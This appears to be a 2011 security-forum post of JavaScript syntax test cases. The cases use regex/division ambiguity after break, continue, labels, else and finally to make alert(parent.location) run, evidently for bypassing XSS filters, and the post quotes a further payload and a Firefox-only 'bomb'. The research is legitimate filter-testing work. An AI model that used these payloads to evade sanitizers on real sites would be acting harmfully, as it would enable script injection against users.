Non-FF browsers:
var n
/'lo/+alert(parent.location)//'
===================
Additional testcases for statements "break" and "continue":
All browsers:
for (i=0;i<1;i++){
if(0) continue
{}/'lo/+alert(parent.location)//'
}
for (i=0;i<1;i++){
if(0) break
{}/'lo/+alert(parent.location)//'
}
Non-FF browsers:
x:for (i=0;i<1;i++){
if(0) continue x
/'lo/+alert(parent.location)//'
}
x:for (i=0;i<1;i++){
if(0) break x
/'lo/+alert(parent.location)//'
}
=================================
if(0)0
else {}/'lo/,alert(parent.location)//'
try{}
catch(e){}
finally{}/'lo/,alert(parent.location)//'
bug:
if(0)0
else/x/
Another syntactic heterogeneity: ";" followed by a declarations block - isn't nessesary.
for(;
{}/alert(parent.location)/1
;lo)0
==============================
I would also like to warn you, @Gareth, about syntactic bomb based on this:
Quote
Jonas Magazinius
if(0)/'/;alert(top)//
Actually here is bomb:
// FF
try{x}
catch(lo if(1)/alert(parent.location)/1){}
----------------------
~Veritas~
Edited 7 time(s). Last edit at 06/26/2011 01:48PM by LeverOne.